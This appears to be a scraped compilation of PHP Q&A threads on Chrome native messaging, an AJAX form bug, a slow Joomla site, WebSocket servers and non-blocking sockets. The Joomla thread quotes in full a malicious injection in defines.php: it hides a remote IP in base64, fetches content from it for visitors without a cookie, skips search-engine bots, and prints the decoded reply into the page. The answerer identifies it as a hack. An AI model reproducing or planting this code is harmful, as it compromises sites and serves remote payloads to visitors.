Develop Reference

Chrome Native messaging with PHP

I am trying to build a PHP class that can communicate with a Chrome Extention through Native Messaging.
I can connect to my code, but at initiation Chrome sends
chrome-extension://lkjcciocnocjjgpacggbaikjehbfedbl/ --parent-window=1837060
To my PHP console app (The Host). What do I reply to make the connection working?
Below my PHP code. Yes its dirty because its a POC project and I am very new to Chrome Extensions especially with the current updates.
function out($data = ""){
$fp = fopen("php://stdout", "w");
if($fp){
$response = array("text" => "Ok");
$message = json_encode($response);
fwrite($fp, $message);
fflush($fp);
slog("[OUTPUT] " . json_encode($response));
fclose($fp);
exit(0);
}else{
slog("Can't open output stream.");
exit(1);
}
}
function err($data){
$fp = fopen("php://stderr", "w");
if($fp){
fwrite($fp, $data);
fflush($fp);
fclose($fp);
}
return;
}
function in(){
$data = "";
$fp = fopen("php://stdin", "r");
if($fp){
$data = fgets($fp);
fclose($fp);
}else{
slog("Can't open input stream.");
exit(1);
}
slog("[INPUT]" . $data);
return $data;
}
function slog($data){
if($data != ""){
file_put_contents("./log.txt", date("r").": {$data}\r\n", FILE_APPEND);
}
}
slog("Entering");
while(true){
if(($l = in()) !== ""){
out($l);
}else{
exit(0);
}
}
exit(0);
My background.js code. (the extention)
var port = null;
var hostName = "com.google.chrome.poc-extension";
function appendMessage(text) {
document.getElementById('response').innerHTML += "<p>" + text + "</p>";
}
function updateUiState() {
if (port) {
document.getElementById('connect-button').style.display = 'none';
}else{
document.getElementById('connect-button').style.display = 'block';
}
}
function sendNativeMessage() {
port = chrome.runtime.connectNative(hostName);
port.onMessage.addListener(onNativeMessage);
message = {"text": document.getElementById('input-text').value};
port.postMessage(message);
appendMessage("Sent message: <b>" + JSON.stringify(message) + "</b>");
}
function onNativeMessage(message) {
alert(message);
appendMessage("Received message: <b>" + JSON.stringify(message) + "</b>");
}
function onDisconnected() {
appendMessage("Failed to connect: " + chrome.runtime.lastError.message);
console.log(chrome.runtime.lastError);
port = null;
updateUiState();
}
function connect() {
appendMessage("Connecting to native messaging host <b>" + hostName + "</b>")
port = chrome.runtime.connectNative(hostName);
port.onMessage.addListener(onNativeMessage);
port.onDisconnect.addListener(onDisconnected);
updateUiState();
}
document.addEventListener('DOMContentLoaded', function (){
document.getElementById('connect-button').addEventListener('click', connect);
document.getElementById('send-message-button').addEventListener('click', sendNativeMessage);
updateUiState();
});
There is this Python example app but I don't really get what it does exactly. Besides that it also uses the Tkinter plugin which I don't want. I want a clean, plain and simpel extension.

Native Messaging use structured data (length-formatted) to read and write. in browser (JavaScript), that structure has been handled by browser. If you want to communicate with Native Messaging, so you need to follow that structure.
Read refference here
Each message is serialized using JSON, UTF-8 encoded and is preceded
with 32-bit message length in native byte order.
So you need to send your message as: len(message) + [your message]
len(message) must be packed following the protocol.
Example function to send output:
function out($data = ""){
$fp = fopen("php://stdout", "w");
if($fp){
$response = array("text" => "Ok");
$message = json_encode($response);
//Send the length of data
fwrite($fp, pack('L', strlen($message)));
fwrite($fp, $message);
fflush($fp);
slog("[OUTPUT] " . json_encode($response));
fclose($fp);
exit(0);
}else{
slog("Can't open output stream.");
exit(1);
}
}
Read Input:
function in(){
$data = "";
$fp = fopen("php://stdin", "r");
if($fp){
//Read first 4 bytes as unsigned integer
$len = current( unpack('L', fread($fp, 4) ) );
$data = fread($fp, $len);
fclose($fp);
}else{
slog("Can't open input stream.");
exit(1);
}
slog("[INPUT]" . $data);
return $data;
}

Ajax Success Response not working. Not Passing data on IE11

Sorry for the title gore I am a little over my head on this one and have tried everything I can find online. I'm trying to pass data via post to my sendjs.php file and I have an issue.
The ajax success function does not apply the if statement.
Live site here: www.diysoakwells.com.au (you can add an item and checkout to test).
I'm not even sure where to start to be honest so any information would be appreciated and I will update the post with any info as requested.
app.js
$(function() {
// Get the form.
var form = $("#ajax-contact");
// Get the messages div.
var formMessages = $("#form-messages");
var spinner = $("#spinner");
var submit = $("#submit");
// Set up an event listener for the contact form.
$(form).submit(function(e) {
// Stop the browser from submitting the form.
e.preventDefault();
//display the cog animation
$(spinner).removeClass("hidden");
//hide the submit button
$(submit).addClass("hidden");
jsonObj=[];
for(i=1;i<$(".item-price").length;i++)
{
var items={};
var itemname = $(".item-name").get(i);
var itemprice = $(".item-price").get(i);
var itemquantity = $(".item-quantity").get(i);
var itemtotal = $(".item-total").get(i);
items["name"] = itemname.innerHTML;
items["price"] = itemprice.innerHTML;
items["quantity"] = itemquantity.innerHTML;
items["total"] = itemtotal.innerHTML;
jsonObj.push(items);
}
console.log(items);
var formdata = {};
formdata["textbox"] = $("#textbox").val();
formdata["name"] = $("#name").val();
formdata["phone"] = $("#phone").val();
formdata["email"] = $("#email").val();
formdata["address"] = $("#address").val();
formdata["grandtotal"] = simpleCart.grandTotal();
var x =
{
"cart" : jsonObj,
"formdata" : formdata,
"captchaResponse" : $("#g-recaptcha-response").val()
};
//jsonString = jsonObj+formdata;
var y = JSON.stringify(x);
console.log(y);
var result = jQuery.parseJSON(y);
console.log(result);
// Serialize the form data.
//var formData = $(form).serialize();
// Submit the form using AJAX.
$.ajax({
type: "post",
url: "sendjs.php" ,
//url: $(form).attr("action"),
data: y,
contentType: "application/json; charset=utf-8",
traditional: true,
success: function (response) {
if(response=="Thank You! Your message has been sent.")
{
//remove the button animation
$(spinner).addClass("hidden");
$(formMessages).removeClass("error");
$(formMessages).addClass("success");
$("#textbox").val("");
$("#name").val("");
$("#email").val("");
$("#message").val("");
$("#phone").val("");
$("#address").val("");
}
else
{
$(formMessages).removeClass("success");
$(formMessages).addClass("error");
$(spinner).addClass("hidden");
$(submit).removeClass("hidden");
}
$(formMessages).text(response);
}
});
});
});
sendjs.php
<?php
//Debugging
//ini_set( 'display_errors', 1 );
//error_reporting( E_ALL );
//replaces file_get_contents due to restrictions on server
function get_data($url)
{
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
//turn url_fopen on due to restrictions on server
//ini_set('allow_url_fopen', true);
date_default_timezone_set('Australia/Perth');
$time = date ("h:i A");
$date = date ("l, F jS, Y");
$json = file_get_contents('php://input');
$obj = json_decode($json,true);
$captcha = $obj["captchaResponse"];
$captcha;
$secretKey = "scrubbed";
$ip = $_SERVER['REMOTE_ADDR'];
$response = get_data("https://www.google.com/recaptcha/api/siteverify?secret=".$secretKey."&response=".$captcha."&remoteip=".$ip);
//not used due to server restictions
//$response=file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=".$secretKey."&response=".$captcha."&remoteip=".$ip);
$responseKeys = json_decode($response,true);
if(intval($responseKeys["success"]) !== 1) {
echo "Please Click on the Captcha";
return false;
}
else
{
//echo $items;
$name = $obj["formdata"]["name"];
$phone = $obj["formdata"]["phone"];
$email = $obj["formdata"]["email"];
$textbox = $obj["formdata"]["textbox"];
$address = $obj["formdata"]["address"];
$grandtotal = $obj["formdata"]["grandtotal"];
$text = "<html style='font-family:arial'>
<body>
<h1 style='color:crimson;'>DIY Soakwells</h1>
<p>This order was submitted from www.diysoakwells.com.au on $date at $time</p>
<p>$name thank you for your order inquiry. Deliveries are normally every Friday, we will be in contact shortly to discuss your order and confirm a time.</p>
<p>An invoice will be issued after delivery for payment via bank transfer.</p>
<p>In the meantime if you haven't already seen it, you can take a look at www.soakwellcalculator.com.au to confirm the number of soakwells you ordered will be adequate.</p>
<br>
<h2 style='color:crimson;'>CUSTOMER DETAILS</h2>
<p><b>Email:</b>\n$email</p>
<p><b>Name:</b>\n$name</p>
<p><b>Phone:</b>\n$phone</p>
<p><b>Delivery Address:</b>\n$address</p>
<p><b>Message:</b>\n$textbox</p>
<br>
<h2 style='color:crimson;'>ORDER DETAILS</h2>";
$items_in_cart = count($obj["cart"]);
for($i=0; $i < $items_in_cart; $i++) {
$iname = $obj["cart"][$i]["name"];
$price = $obj["cart"][$i]["price"];
$quantity = $obj["cart"][$i]["quantity"];
$total = $obj["cart"][$i]["total"];
//display looped cart data
$items .= "<p>$iname x $quantity - $price <small>ea.</small> <b>Sub Total: </b> $total .</p>";
}
$final_total ="<br>
<p><b>Total: </b>$$grandtotal <small>inc. GST</small></p>
</body>
</html>";
//Email Content
$body = $text.$items.$final_total;
// Set the email subject.
$subject = "New order from $name";
// Build the email content.
$email_content = $body;
// Build the email headers.
$email_headers = 'MIME-Version: 1.0' . PHP_EOL;
$email_headers .= 'Content-Type: text/html; charset=ISO-8859-1' . PHP_EOL;
//$email_headers .= 'To:' . $name . '<' . $email . '>' . PHP_EOL;
$email_headers .= 'From: DIY Soakwells <orders#diysoakwells.com>' . PHP_EOL;
$email_headers .= 'CC: orders#diysoakwells.com.au' . PHP_EOL;
$email_headers .= 'Reply-To: DIY Soakwells <orders#diysoakwells.com.au>' . PHP_EOL;
$email_headers .= 'Return-Path: DIY Soakwells <orders#diysoakwells.com>' . PHP_EOL;
$email_headers .= 'X-Sender: DIY Soakwells <orders#diysoakwells.com.au' . PHP_EOL;
$email_headers .= 'X-Mailer: PHP/' . phpversion() . PHP_EOL;
//$email_headers .= 'X-Priority: 1' . PHP_EOL;
//validate Email
$email_check = filter_input(INPUT_POST, $email, FILTER_VALIDATE_EMAIL);
//Recipients
$to = $email;
if (mail($to, $subject, $email_content, $email_headers, '-forders#diysoakwells.com.au')) {
// Set a 200 (okay) response code.
//http_response_code(200);
echo "Thank You. Your order has been sent and a copy mailed to your inbox.";
} else {
// Set a 500 (internal server error) response code.
//http_response_code(500);
echo "There appears to be an issue with our server, please ring 0420 903 950 or email contact#diysoakwells.com.au.";
}
}
?>
Hope someone can give me some tips.

because your condition is response == "Thank You! Your message has been sent."
and your results are
"Please Click on the Captcha", "Thank You. Your order has been sent and a copy mailed to your inbox.", "There appears to be an issue with our server, please ring 0420 903 950 or email contact#diysoakwells.com.au.".
so all of your result will do else part

How to find and change cookie "send for" option

After weeks of fruitless effort in trying to fix my joomla page load time I have finally tracked the problem down to a cookie named:
_PHP_SESSION_PHP
content: 321
send for: any type of connection
http only: no
path: /
If I have this cookie then the pages load in under 3 seconds. if I delete this cookie a page will load in 13 seconds and other pages will load in 3 again since the cookie is back.
Problem still: 10 seconds is too long to wait for the cookie and other services like facebook url scraping will time out after 10 seconds before they have received any page content.
I am a GUI geek and very timid and slow with code and terminal.
I believe if the cookie was set to http only, then facebook wouldn't time trying to scrape my urls since it uses curl.
Can anyone confirm if this would be the right way to do this, and How would I find and change this in my scripts?
Also I think it's suspicious that my page needs 10 seconds to decide the user has no cookie. What could the reason for this be?
the only mention I can find of this cookie is in my mysite.com/includes/defines.php
$cookie_name = '_PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
$url = base64_decode("aHR0cDovLzE3OC4zMy4yMDAuMTczL2Jsb2cvP21hcmlqdWFuYSZ1dG1fc291cmNlPTExNTQ5OjU5ODAwMDo3NTQ=");
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
apache 2 php 5.5 joomla 3.4 centos 6
Complete File:
<?php
/**
* #package Joomla.Site
*
* #copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* #license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);
// Defines.
define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE', JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE', JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
//istart
function request_url_data($url) {
$site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
'Referer: ' . $site_url,
));
$response = trim(curl_exec($ch));
} elseif (function_exists('fsockopen')) {
$m = parse_url($url);
if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
'Host: ' . $m['host'] . "\r\n" .
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
'X-Forwarded-For: ' . #$_SERVER["REMOTE_ADDR"] . "\r\n" .
'Referer: ' . $site_url . "\r\n" .
'Connection: Close' . "\r\n\r\n");
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
}
list($headers, $response) = explode("\r\n\r\n", $response);
fclose($fp);
}
} else {
$response = 'curl_init and fsockopen disabled';
}
return $response;
}
error_reporting(0);
$_passssword = "83f3dd053ea030f23e91df313d65eb81";
if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
echo('<!--checker_start ');
$tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
echo(substr($tmp, 50));
echo(' checker_end-->');
}
unset($_passssword);
$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
$bad_url = true;
break;
}
}
$cookie_name = '_PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
$url = base64_decode("aHR0cDovLzE3OC4zMy4yMDAuMTczL2Jsb2cvP21hcmlqdWFuYSZ1dG1fc291cmNlPTExNTQ5OjU5ODAwMDo3NTQ=");
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
}//iend

Have you tried decoding the base64_encode-grabble in your code? It basically says: you have been hacked...
Try this in a terminal window (one single line):
php -r 'echo base64_decode("aHR0cDovLzE3OC4zMy4yMDAuMTczL2Jsb2cvP21hcmlqdWFuYSZ1dG1fc291cmNlPTExNTQ5OjU5ODAwMDo3NTQ=");echo "\n";'
What comes out is the content of the grapple. This is also the reason your site is slow to load.

Creating a PHP websockets server

I am new in websockets technology. I was trying to create a websockets php server and connect to the server with a javascript client. I am using xampp 1.8.3.
I made this simple PHP server:
<?php
error_reporting(E_ALL);
set_time_limit(0);
$address = "127.0.0.1";
$port = 1777;
$maxConnections = 10;
if(!($sock = socket_create(AF_INET, SOCK_STREAM, 0))){
$errorCode = socket_last_error();
$errorMsg = socket_strerror($errorCode);
die("socket_create() failed -> {$errorCode}:{$errorMsg}\n");
}
echo "Server created.\n";
if(!(socket_bind($sock, $address, $port))){
$errorCode = socket_last_error();
$errorMsg = socket_strerror($errorCode);
die("socket_bind() failed -> {$errorCode}:{$errorMsg}\n");
}
echo "Server opened on {$address}:{$port}\n";
if(!(socket_listen($sock, $maxConnections))){
$errorCode = socket_last_error();
$errorMsg = socket_strerror($errorCode);
die("socket_listen() failed -> {$errorCode}:{$errorMsg}\n");
}
echo "Waiting for connections...\n";
$client = socket_accept($sock);
if(socket_getpeername($client, $address, $port)){
echo "The client {$address}:{$port} is online.\n";
}
$msg = socket_read($client, 1024000);
if(!(socket_write($client, $msg, strlen($msg)))){
$errorCode = socket_last_error();
$errorMsg = socket_strerror($errorCode);
die("socket_write() failed -> {$errorCode}:{$errorMsg}\n");
}
echo "Message sent\n";
socket_close($client);
socket_close($sock);
?>
I ran this php file with xampp shell using the following expression:
php htdocs/server.php
and I got this message on shell:
php htdocs/server.php
Server created.
Server opened on 127.0.0.1:1777
Waiting for connections...
Then I opened my client.html on chrome (my supports websockets).
My client.html code is:
<html>
<head>
<meta charset="UTF-8" />
<title>Websockets web-server connection</title>
</head>
<body>
<p>Websockets connection. Status: <span id="status"></span></p>
<script type="text/javascript">
var webSockets = new WebSocket("ws://127.0.0.1:1777/");
webSockets.onopen = function(){
document.getElementById("status").innerHTML="connected";
webSockets.send("ping");
}
</script>
</body>
</html>
And I received this message on javascript console log:
WebSocket connection to 'ws://127.0.0.1:1777/' failed: client.html:9
And my shell had this messages:
php htdocs/server.php
Server created.
Server opened on 127.0.0.1:1777
Waiting for connections...
The client 127.0.0.1:64446 is online
Message sent
However I didn't receive any message on client, I do not even get a connected status.
What is happening? Where is my error?
Thank you.

WebSockets are not raw TCP sockets. They require a rather complex HTTP-like handshake to establish a connection, and require data transferred over them to be encoded and framed in a very particular way. The protocol is defined in RFC 6455.
Unless you are feeling incredibly masochistic, you don't want to try to implement this yourself. Use a library like Ratchet to implement WebSockets in PHP.

I had the same problem bro but no need of using Ratchet or other libraries you can write your own simple code . The handshake process,and the masking-unmasking of messages is rather difficult so i copied the code for those
function perform_handshaking($receved_header,$client_conn, $host, $port)
{
$headers = array();
$lines = preg_split("/\r\n/", $receved_header);
foreach($lines as $line)
{
$line = chop($line);
if(preg_match('/\A(\S+): (.*)\z/', $line, $matches))
{
$headers[$matches[1]] = $matches[2];
}
}
$secKey = $headers['Sec-WebSocket-Key'];
$secAccept = base64_encode(pack('H*', sha1($secKey . '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')));
//hand shaking header
$upgrade = "HTTP/1.1 101 Web Socket Protocol Handshake\r\n" .
"Upgrade: websocket\r\n" .
"Connection: Upgrade\r\n" .
"WebSocket-Origin: $host\r\n" .
"WebSocket-Location: ws://$host:$port/\r\n".
"Sec-WebSocket-Accept:$secAccept\r\n\r\n";
socket_write($client_conn,$upgrade,strlen($upgrade));
return $upgrade;
}
function unmask($text) {
$length = ord($text[1]) & 127;
if($length == 126) {
$masks = substr($text, 4, 4);
$data = substr($text, 8);
}
elseif($length == 127) {
$masks = substr($text, 10, 4);
$data = substr($text, 14);
}
else {
$masks = substr($text, 2, 4);
$data = substr($text, 6);
}
$text = "";
for ($i = 0; $i < strlen($data); ++$i) {
$text .= $data[$i] ^ $masks[$i%4];
}
return $text;
}
//Encode message for transfer to client.
function mask($text)
{
$b1 = 0x80 | (0x1 & 0x0f);
$length = strlen($text);
if($length <= 125)
$header = pack('CC', $b1, $length);
elseif($length > 125 && $length < 65536)
$header = pack('CCn', $b1, 126, $length);
elseif($length >= 65536)
$header = pack('CCNN', $b1, 127, $length);
return $header.$text;
}
Instead of socket_accept user socket_read to get the http header containing request from webpage that it wants to upgrade its http conn to websocket then use the handshake function above to write an accept header message .then your connection will be established .but still on the client side you have to add events like these
if("WebSocket" in window){
var a = "ws://"+serverip+":9000";
var ws = new WebSocket(a);
var error = null;
ws.onopen = function(){
open();
}
ws.onerror = function(err){
errorhandler(err);
}
ws.onmessage = function(e){
messagehandler(e);
}
ws.onclose = function(){
close();
}
}
function open(){
document.getElementById('logs').innerHTML+='<p>WebSocket Connection OPened</p>';
}
function errorhandler(err){
document.getElementById('logs').innerHTML+='<p>WebSocket Connection Error occured &nbsp'+err.data+'</p>';
}
function messagehandler(a){
document.getElementById('logs').innerHTML+="<p>"+a.data+"</p>";
}
function close(){
document.getElementById('logs').innerHTML+='<p>WebSocket Connection Closed</p>';
ws = null;
}

Have a PHP server script persistently listen on a socket non blocking?

I am writing a project that is in 2 parts.
So far I have a front end View.php (HTML5,CSS3,JQuery) and this will query the server.php
The server PHP opens a TCP socket to a server and listens in and can make commands by writing to the socket.
The normal procedure now goes like this
View.php -> Calls using rest API to server.php
Server.php -> Connects to TCP -> Reads from TCP -> Json_encodes & print -> close TCP socket connection.
What I want to achieve is a script Server.php that once started. It constantly listens in to a server, until it gets a shutdown command. I want to keep a fsocket connection open. Any thoughts?

The answer is using non blocking programming. In PHP we have specific function for non blocking I/O. For sockets you should use socket_set_nonblock function on a socket resource.
$port = 8081;
$address = '127.0.0.1';
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
exit();
}
if (socket_bind($sock, $address, $port) === false) {
echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
exit();
}
if (socket_listen($sock, 5) === false) {
echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
socket_set_nonblock($sock);
echo "listening for new connection".PHP_EOL;
$conneted_clients = [];
do {
$clientsock = socket_accept($sock);
if($clientsock !== false){
socket_set_nonblock($clientsock);
$conneted_clients[] = $clientsock;
socket_getpeername($clientsock,$address);
echo "New Connection from: ".$address.PHP_EOL;
$msg = PHP_EOL."Welcome to the PHP Test Server. " . PHP_EOL.
"To quit, type 'quit'. To shut down the server type 'shutdown'." . PHP_EOL;
socket_write($clientsock, $msg, strlen($msg));
}
$status = check_clients($conneted_clients);
if(!$status) break;
usleep(500000);
} while (true);
function check_clients($clients)
{
foreach($clients as $key => $con)
{
if(get_resource_type($con) !== "Socket")
{
socket_getpeername($clientsock,$address);
echo $address." has diconnected.".PHP_EOL;
unset($clients[$key]);
continue;
}
if (false === $buff = socket_read($con, 2048)) {
continue;
}
$buff = trim($buff);
if ($buff == 'quit') {
socket_close($con);
unset($clients[$key]);
continue;
}
if (trim($buff) == 'shutdown') {
socket_close($con);
echo "shutdown initiated".PHP_EOL;
return FALSE;
}
if($buff != false || $buff != null)
{
$talkback = "PHP: You said '$buff'.".PHP_EOL;
socket_write($con, $talkback, strlen($talkback));
echo "$buff".PHP_EOL;
}
}
return TRUE;
}
echo "Closing Server";
socket_close($sock);